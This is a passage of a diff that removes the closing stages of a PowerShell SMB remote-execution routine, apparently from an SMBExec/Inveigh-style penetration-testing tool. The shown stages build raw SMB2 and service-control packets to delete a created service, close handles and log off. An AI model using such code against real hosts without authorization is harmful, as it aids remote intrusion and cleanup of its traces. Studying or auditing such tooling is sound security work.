-                        $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
-                        $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x02,0x00
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data 
-                        $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length)
-                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data 
-                        $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
-                            $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
-                            $SMB2_signature = $SMB2_signature[0..15]
-                            $packet_SMB2_header["Signature"] = $SMB2_signature
-                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        }
-
-                        $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                        $SMB_client_stage = 'ReadRequest'
-                        $SMB_client_stage_next = 'CloseServiceHandle'
-                        $SMB_close_service_handle_stage = 1
-                    }
-
-                    'CloseServiceHandle'
-                    {
-
-                        if($SMB_close_service_handle_stage -eq 1)
-                        {
-                            Write-Verbose "Service $SMB_service deleted on $Target"
-                            $message_ID++
-                            $SMB_close_service_handle_stage++
-                            $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_context_handle
-                        }
-                        else
-                        {
-                            $message_ID++
-                            $SMB_client_stage = 'CloseRequest'
-                            $packet_SCM_data = New-PacketSCMCloseServiceHandle $SMB_service_manager_context_handle
-                        }
-
-                        $packet_SMB2_header = New-PacketSMB2Header 0x09,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                    
-                        if($SMB_signing)
-                        {
-                            $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00      
-                        }
-
-                        $SCM_data = ConvertFrom-PacketOrderedDictionary $packet_SCM_data
-                        $packet_RPC_data = New-PacketRPCRequest 0x03 $SCM_data.Length 0 0 0x01,0x00,0x00,0x00 0x00,0x00 0x00,0x00
-                        $RPC_data = ConvertFrom-PacketOrderedDictionary $packet_RPC_data 
-                        $packet_SMB2_data = New-PacketSMB2WriteRequest $SMB_file_ID ($RPC_data.Length + $SCM_data.Length)     
-                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data 
-                        $RPC_data_length = $SMB2_data.Length + $SCM_data.Length + $RPC_data.Length
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $RPC_data_length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB2_sign = $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
-                            $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
-                            $SMB2_signature = $SMB2_signature[0..15]
-                            $packet_SMB2_header["Signature"] = $SMB2_signature
-                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        }
-
-                        $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $RPC_data + $SCM_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                    }
-
-                    'CloseRequest'
-                    {
-                        $message_ID++
-                        $packet_SMB2_header = New-PacketSMB2Header 0x06,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                    
-                        if($SMB_signing)
-                        {
-                            $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00      
-                        }
-      
-                        $packet_SMB2_data = New-PacketSMB2CloseRequest $SMB_file_ID
-                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB2_sign = $SMB2_header + $SMB2_data
-                            $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
-                            $SMB2_signature = $SMB2_signature[0..15]
-                            $packet_SMB2_header["Signature"] = $SMB2_signature
-                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        }
-
-                        $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                        $SMB_client_stage = 'TreeDisconnect'
-                    }
-
-                    'TreeDisconnect'
-                    {
-                        $message_ID++
-                        $packet_SMB2_header = New-PacketSMB2Header 0x04,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                    
-                        if($SMB_signing)
-                        {
-                            $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00      
-                        }
-          
-                        $packet_SMB2_data = New-PacketSMB2TreeDisconnectRequest
-                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB2_sign = $SMB2_header + $SMB2_data
-                            $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
-                            $SMB2_signature = $SMB2_signature[0..15]
-                            $packet_SMB2_header["Signature"] = $SMB2_signature
-                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        }
-
-                        $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-
-                        if($inveigh_session -and !$Logoff)
-                        {
-                            $SMB_client_stage = 'Exit'
-                        }
-                        else
-                        {
-                            $SMB_client_stage = 'Logoff'
-                        }
-
-                    }
-
-                    'Logoff'
-                    {
-                        $message_ID++
-                        $packet_SMB2_header = New-PacketSMB2Header 0x02,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID
-                    
-                        if($SMB_signing)
-                        {
-                            $packet_SMB2_header["Flags"] = 0x08,0x00,0x00,0x00      
-                        }
-         
-                        $packet_SMB2_data = New-PacketSMB2SessionLogoffRequest
-                        $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data
-                        $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length
-                        $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service
-
-                        if($SMB_signing)
-                        {
-                            $SMB2_sign = $SMB2_header + $SMB2_data
-                            $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign)
-                            $SMB2_signature = $SMB2_signature[0..15]
-                            $packet_SMB2_header["Signature"] = $SMB2_signature
-                            $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header
-                        }
-
-                        $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data
-                        $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null
-                        $SMB_client_stream.Flush()
-                        $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null
-                        $SMB_client_stage = 'Exit'
-                    }
-
-                }
-                
-                if($SMBExec_failed)
-                {
-                    BREAK SMB_execute_loop
-                }
-            
-            }
-
-        }
-
-    }
-
-    if($inveigh_session -and $Inveigh)
-    {
-        $inveigh.session_lock_table[$session] = 'open'
-        $inveigh.session_message_ID_table[$session] = $message_ID
-        $inveigh.session_list[$session] | Where-Object {$_."Last Activity" = Get-Date -format s}
-    }
-
-    if(!$inveigh_session -or $Logoff)
-    {
-        $SMB_client.Close()
-        $SMB_client_stream.Close()
-    }
-
-}
-
-}
\ No newline at end of file